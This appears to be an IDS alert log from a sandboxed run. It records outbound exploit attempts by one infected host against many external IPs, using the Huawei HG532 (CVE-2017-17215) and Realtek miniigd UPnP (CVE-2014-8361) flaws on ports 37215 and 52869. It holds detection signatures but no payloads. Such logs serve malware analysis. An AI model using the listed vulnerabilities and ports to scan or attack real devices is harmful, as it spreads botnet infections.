07/20/24-23:11:06.678578	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44228	37215	192.168.2.15	99.157.121.99
07/20/24-23:10:41.227634	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36952	37215	192.168.2.15	41.54.12.174
07/20/24-23:10:44.354826	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39302	52869	192.168.2.15	122.79.202.98
07/20/24-23:10:52.045896	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59166	52869	192.168.2.15	222.252.7.7
07/20/24-23:10:41.221879	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45168	37215	192.168.2.15	157.234.79.175
07/20/24-23:10:40.604940	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33838	37215	192.168.2.15	157.176.210.11
07/20/24-23:10:39.492375	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47548	37215	192.168.2.15	41.1.217.148
07/20/24-23:10:52.062286	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44964	52869	192.168.2.15	18.33.239.61
07/20/24-23:10:39.160044	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43136	52869	192.168.2.15	204.13.73.202
07/20/24-23:10:51.925000	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41174	52869	192.168.2.15	223.235.87.4
07/20/24-23:10:42.620951	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49268	52869	192.168.2.15	65.58.210.176
07/20/24-23:10:59.057855	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38322	37215	192.168.2.15	209.118.30.87
07/20/24-23:10:51.906948	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39540	52869	192.168.2.15	92.216.196.59
07/20/24-23:10:58.998725	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53324	37215	192.168.2.15	157.67.9.68
07/20/24-23:10:39.479939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47244	37215	192.168.2.15	157.169.76.138
07/20/24-23:10:40.649804	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50210	37215	192.168.2.15	41.174.190.33
07/20/24-23:10:52.029204	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57576	52869	192.168.2.15	163.51.19.31
07/20/24-23:10:43.798813	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52460	52869	192.168.2.15	43.91.208.66
07/20/24-23:10:51.948284	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36802	52869	192.168.2.15	206.250.243.12
07/20/24-23:10:42.621913	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43568	52869	192.168.2.15	61.53.244.138
07/20/24-23:10:46.809208	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55852	37215	192.168.2.15	197.172.70.43
07/20/24-23:10:44.722530	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35276	52869	192.168.2.15	41.19.211.55
07/20/24-23:10:41.227589	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56374	37215	192.168.2.15	157.172.222.139
07/20/24-23:10:44.656962	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47780	52869	192.168.2.15	181.65.248.166
07/20/24-23:10:39.400634	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60644	52869	192.168.2.15	80.66.53.41
07/20/24-23:10:49.447315	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54176	37215	192.168.2.15	69.83.208.136
07/20/24-23:10:46.755097	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49986	37215	192.168.2.15	157.82.70.179
07/20/24-23:10:51.984756	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52876	52869	192.168.2.15	13.188.140.147
07/20/24-23:11:03.361095	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40162	37215	192.168.2.15	41.157.154.207
07/20/24-23:10:41.234520	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37580	37215	192.168.2.15	110.110.225.230
07/20/24-23:10:43.548227	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48170	52869	192.168.2.15	109.87.123.124
07/20/24-23:10:52.581035	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49338	37215	192.168.2.15	197.155.165.246
07/20/24-23:10:41.220534	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57506	37215	192.168.2.15	131.14.103.148
07/20/24-23:10:42.255257	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47454	37215	192.168.2.15	122.72.16.198
07/20/24-23:11:03.309500	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40228	37215	192.168.2.15	41.90.146.20
07/20/24-23:11:03.371424	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37732	37215	192.168.2.15	157.121.119.14
07/20/24-23:10:59.027427	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45774	37215	192.168.2.15	157.93.7.148
07/20/24-23:10:44.714243	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36958	52869	192.168.2.15	20.223.23.215
07/20/24-23:10:59.011093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57184	37215	192.168.2.15	41.72.2.21
07/20/24-23:10:49.430121	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48564	37215	192.168.2.15	80.162.152.76
07/20/24-23:10:52.592459	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45260	37215	192.168.2.15	157.37.115.131
07/20/24-23:10:41.231287	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47704	37215	192.168.2.15	157.31.242.46
07/20/24-23:10:42.621913	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43568	52869	192.168.2.15	61.53.244.138
07/20/24-23:10:41.224086	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36266	37215	192.168.2.15	41.122.22.46
07/20/24-23:11:06.679232	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60106	37215	192.168.2.15	41.147.221.134
07/20/24-23:10:42.622796	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47270	52869	192.168.2.15	77.64.253.97
07/20/24-23:10:52.047769	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47028	52869	192.168.2.15	209.16.225.185
07/20/24-23:10:51.900424	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47478	52869	192.168.2.15	166.169.25.66
07/20/24-23:10:56.030930	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41276	37215	192.168.2.15	157.226.143.7
07/20/24-23:10:49.377082	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47626	37215	192.168.2.15	41.57.209.81
07/20/24-23:11:03.406798	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57586	37215	192.168.2.15	197.244.98.22
07/20/24-23:10:46.810541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59880	37215	192.168.2.15	197.70.99.46
07/20/24-23:10:41.228259	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35100	37215	192.168.2.15	157.118.142.72
07/20/24-23:11:03.396634	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35510	37215	192.168.2.15	41.243.22.191
07/20/24-23:10:44.728946	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42026	52869	192.168.2.15	60.113.117.170
07/20/24-23:10:41.221879	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54730	37215	192.168.2.15	157.214.195.83
07/20/24-23:10:47.818407	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52400	52869	192.168.2.15	93.87.50.30
07/20/24-23:10:46.829468	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38208	37215	192.168.2.15	73.153.13.203
07/20/24-23:10:58.998725	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38064	37215	192.168.2.15	204.240.204.242
07/20/24-23:10:41.230206	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51478	37215	192.168.2.15	41.215.250.254
07/20/24-23:11:06.657863	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54996	37215	192.168.2.15	41.167.165.206
07/20/24-23:11:03.352491	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46900	37215	192.168.2.15	35.138.127.168
07/20/24-23:10:39.177644	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38954	52869	192.168.2.15	208.102.27.6
07/20/24-23:10:39.486941	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34876	37215	192.168.2.15	44.121.163.52
07/20/24-23:10:56.021160	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50268	37215	192.168.2.15	165.7.65.37
07/20/24-23:10:51.984755	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60138	52869	192.168.2.15	198.78.111.199
07/20/24-23:10:51.926807	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47144	52869	192.168.2.15	162.136.177.252
07/20/24-23:11:06.676716	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36432	37215	192.168.2.15	157.219.107.234
07/20/24-23:10:52.005273	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50900	52869	192.168.2.15	1.176.202.8
07/20/24-23:10:46.809208	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41136	37215	192.168.2.15	41.169.152.167
07/20/24-23:10:40.601389	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47874	37215	192.168.2.15	41.8.250.84
07/20/24-23:10:45.666098	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53780	52869	192.168.2.15	132.40.118.189
07/20/24-23:11:03.343633	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39704	37215	192.168.2.15	41.233.64.238
07/20/24-23:10:49.370142	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46956	37215	192.168.2.15	197.16.205.236
07/20/24-23:10:51.991411	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34454	52869	192.168.2.15	222.120.170.64
07/20/24-23:10:52.546429	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35648	37215	192.168.2.15	96.23.53.208
07/20/24-23:10:40.653603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42998	37215	192.168.2.15	41.225.135.170
07/20/24-23:10:56.011227	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55328	37215	192.168.2.15	157.58.174.18
07/20/24-23:10:39.462416	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37890	37215	192.168.2.15	197.180.228.252
07/20/24-23:10:43.838065	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53596	52869	192.168.2.15	195.68.182.111
07/20/24-23:10:46.739331	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49120	37215	192.168.2.15	41.112.198.128
07/20/24-23:10:40.656564	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34744	37215	192.168.2.15	41.160.166.27
07/20/24-23:10:42.621194	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57786	52869	192.168.2.15	194.217.196.209
07/20/24-23:10:52.563890	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40752	37215	192.168.2.15	197.130.7.41
07/20/24-23:10:59.046417	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54850	37215	192.168.2.15	162.29.204.88
07/20/24-23:11:06.706397	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47794	37215	192.168.2.15	197.157.158.254
07/20/24-23:10:41.673540	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47218	37215	192.168.2.15	157.156.141.151
07/20/24-23:10:42.248237	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42764	37215	192.168.2.15	157.122.165.127
07/20/24-23:10:42.642009	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41286	52869	192.168.2.15	137.22.60.132
07/20/24-23:10:44.644043	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40432	52869	192.168.2.15	196.162.5.87
07/20/24-23:10:39.479939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55066	37215	192.168.2.15	34.108.209.169
07/20/24-23:10:49.447315	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58988	37215	192.168.2.15	41.208.251.18
07/20/24-23:10:52.029203	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35110	52869	192.168.2.15	154.174.121.129
07/20/24-23:10:40.656565	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58524	37215	192.168.2.15	157.61.187.214
07/20/24-23:11:03.304768	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54474	37215	192.168.2.15	176.232.183.149
07/20/24-23:10:45.064942	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38992	52869	192.168.2.15	13.129.217.20
07/20/24-23:10:52.581035	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36456	37215	192.168.2.15	65.159.253.195
07/20/24-23:10:39.487319	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50780	37215	192.168.2.15	157.16.29.198
07/20/24-23:10:42.621912	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41542	52869	192.168.2.15	212.22.178.123
07/20/24-23:10:40.653603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52726	37215	192.168.2.15	157.145.75.170
07/20/24-23:10:48.420135	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56410	52869	192.168.2.15	175.237.79.153
07/20/24-23:10:39.114530	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52890	52869	192.168.2.15	155.186.2.88
07/20/24-23:10:41.230071	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54702	37215	192.168.2.15	157.87.201.136
07/20/24-23:11:06.665554	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56124	37215	192.168.2.15	41.88.129.27
07/20/24-23:10:41.231186	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52666	37215	192.168.2.15	157.33.235.116
07/20/24-23:10:44.706644	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33952	52869	192.168.2.15	24.166.44.145
07/20/24-23:10:40.652868	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45842	37215	192.168.2.15	41.30.145.239
07/20/24-23:10:41.227612	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55912	37215	192.168.2.15	197.188.107.151
07/20/24-23:10:44.554759	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38366	52869	192.168.2.15	123.14.61.21
07/20/24-23:10:52.581805	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34314	37215	192.168.2.15	46.240.3.150
07/20/24-23:10:40.601389	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40936	37215	192.168.2.15	144.85.64.233
07/20/24-23:10:52.033727	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39878	52869	192.168.2.15	125.158.123.72
07/20/24-23:10:52.571075	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34266	37215	192.168.2.15	41.27.25.162
07/20/24-23:10:52.571075	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40740	37215	192.168.2.15	197.104.3.213
07/20/24-23:10:47.766237	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51562	52869	192.168.2.15	85.110.124.59
07/20/24-23:11:03.406798	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52722	37215	192.168.2.15	41.237.236.60
07/20/24-23:10:59.057854	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55310	37215	192.168.2.15	197.63.105.252
07/20/24-23:10:59.057855	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49888	37215	192.168.2.15	41.85.172.181
07/20/24-23:10:46.951048	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43052	52869	192.168.2.15	36.65.48.163
07/20/24-23:10:51.944865	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53640	52869	192.168.2.15	223.179.196.98
07/20/24-23:10:56.024382	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44168	37215	192.168.2.15	217.182.185.170
07/20/24-23:10:56.016286	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54254	37215	192.168.2.15	197.19.206.241
07/20/24-23:10:39.433488	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58030	37215	192.168.2.15	197.57.193.59
07/20/24-23:10:52.564314	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41838	37215	192.168.2.15	197.252.37.33
07/20/24-23:10:39.434124	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59342	37215	192.168.2.15	34.182.233.76
07/20/24-23:10:44.580130	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35578	52869	192.168.2.15	42.146.219.162
07/20/24-23:10:51.983833	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52352	52869	192.168.2.15	188.92.250.60
07/20/24-23:10:42.250388	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36558	37215	192.168.2.15	157.117.24.91
07/20/24-23:10:56.046357	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57642	37215	192.168.2.15	60.235.44.38
07/20/24-23:10:42.250387	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39544	37215	192.168.2.15	157.144.129.13
07/20/24-23:10:39.063001	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38292	52869	192.168.2.15	119.87.220.235
07/20/24-23:10:42.661464	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38748	52869	192.168.2.15	90.4.66.163
07/20/24-23:10:51.923394	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33870	52869	192.168.2.15	12.15.153.124
07/20/24-23:11:03.406798	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48878	37215	192.168.2.15	83.250.119.240
07/20/24-23:10:42.248264	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57070	37215	192.168.2.15	157.183.11.184
07/20/24-23:10:41.222609	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45306	37215	192.168.2.15	197.111.165.124
07/20/24-23:10:51.983833	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59648	52869	192.168.2.15	149.136.218.225
07/20/24-23:10:51.898652	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34882	52869	192.168.2.15	38.143.90.107
07/20/24-23:11:06.669620	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55222	37215	192.168.2.15	206.61.255.0
07/20/24-23:10:41.231186	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39992	37215	192.168.2.15	41.202.161.142
07/20/24-23:10:47.910067	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37582	52869	192.168.2.15	169.184.79.124
07/20/24-23:11:03.396755	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60040	37215	192.168.2.15	157.122.204.244
07/20/24-23:10:51.909417	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38632	52869	192.168.2.15	203.235.22.121
07/20/24-23:10:59.029071	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56126	37215	192.168.2.15	197.67.131.214
07/20/24-23:10:56.030930	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58628	37215	192.168.2.15	180.67.45.152
07/20/24-23:10:49.402846	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51906	37215	192.168.2.15	41.89.109.175
07/20/24-23:10:59.028826	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40050	37215	192.168.2.15	35.193.189.57
07/20/24-23:10:52.026922	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58934	52869	192.168.2.15	152.73.4.67
07/20/24-23:11:03.306275	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43660	37215	192.168.2.15	41.12.224.149
07/20/24-23:10:59.032609	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46860	37215	192.168.2.15	157.27.129.245
07/20/24-23:10:39.479427	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56706	37215	192.168.2.15	157.42.101.14
07/20/24-23:11:03.339788	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43124	37215	192.168.2.15	157.122.105.2
07/20/24-23:10:42.629188	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39790	52869	192.168.2.15	120.127.21.138
07/20/24-23:10:41.224086	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55154	37215	192.168.2.15	89.8.95.202
07/20/24-23:10:52.571075	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60290	37215	192.168.2.15	41.99.68.139
07/20/24-23:10:39.430384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43798	37215	192.168.2.15	103.246.101.15
07/20/24-23:10:52.008043	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36588	52869	192.168.2.15	118.30.197.237
07/20/24-23:10:56.046357	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58110	37215	192.168.2.15	157.143.92.83
07/20/24-23:10:52.592459	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42912	37215	192.168.2.15	157.75.226.137
07/20/24-23:10:45.260968	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46208	52869	192.168.2.15	40.70.214.228
07/20/24-23:10:47.735808	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47698	52869	192.168.2.15	86.41.84.165
07/20/24-23:10:46.726397	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52294	37215	192.168.2.15	197.189.110.3
07/20/24-23:10:59.029071	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38740	37215	192.168.2.15	41.193.215.35
07/20/24-23:10:56.011930	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55132	37215	192.168.2.15	202.46.173.51
07/20/24-23:10:44.648045	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33896	52869	192.168.2.15	217.150.234.15
07/20/24-23:10:42.255257	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43890	37215	192.168.2.15	211.127.214.18
07/20/24-23:10:46.755097	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45258	37215	192.168.2.15	23.152.243.164
07/20/24-23:10:41.237255	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45544	37215	192.168.2.15	157.167.109.170
07/20/24-23:10:52.517494	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49884	37215	192.168.2.15	197.170.80.233
07/20/24-23:10:44.772949	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42284	52869	192.168.2.15	180.55.108.40
07/20/24-23:10:41.241455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43444	37215	192.168.2.15	197.135.54.100
07/20/24-23:10:39.479939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48814	37215	192.168.2.15	157.176.38.133
07/20/24-23:10:41.221061	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49914	37215	192.168.2.15	41.221.232.221
07/20/24-23:10:39.434124	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53362	37215	192.168.2.15	9.118.192.30
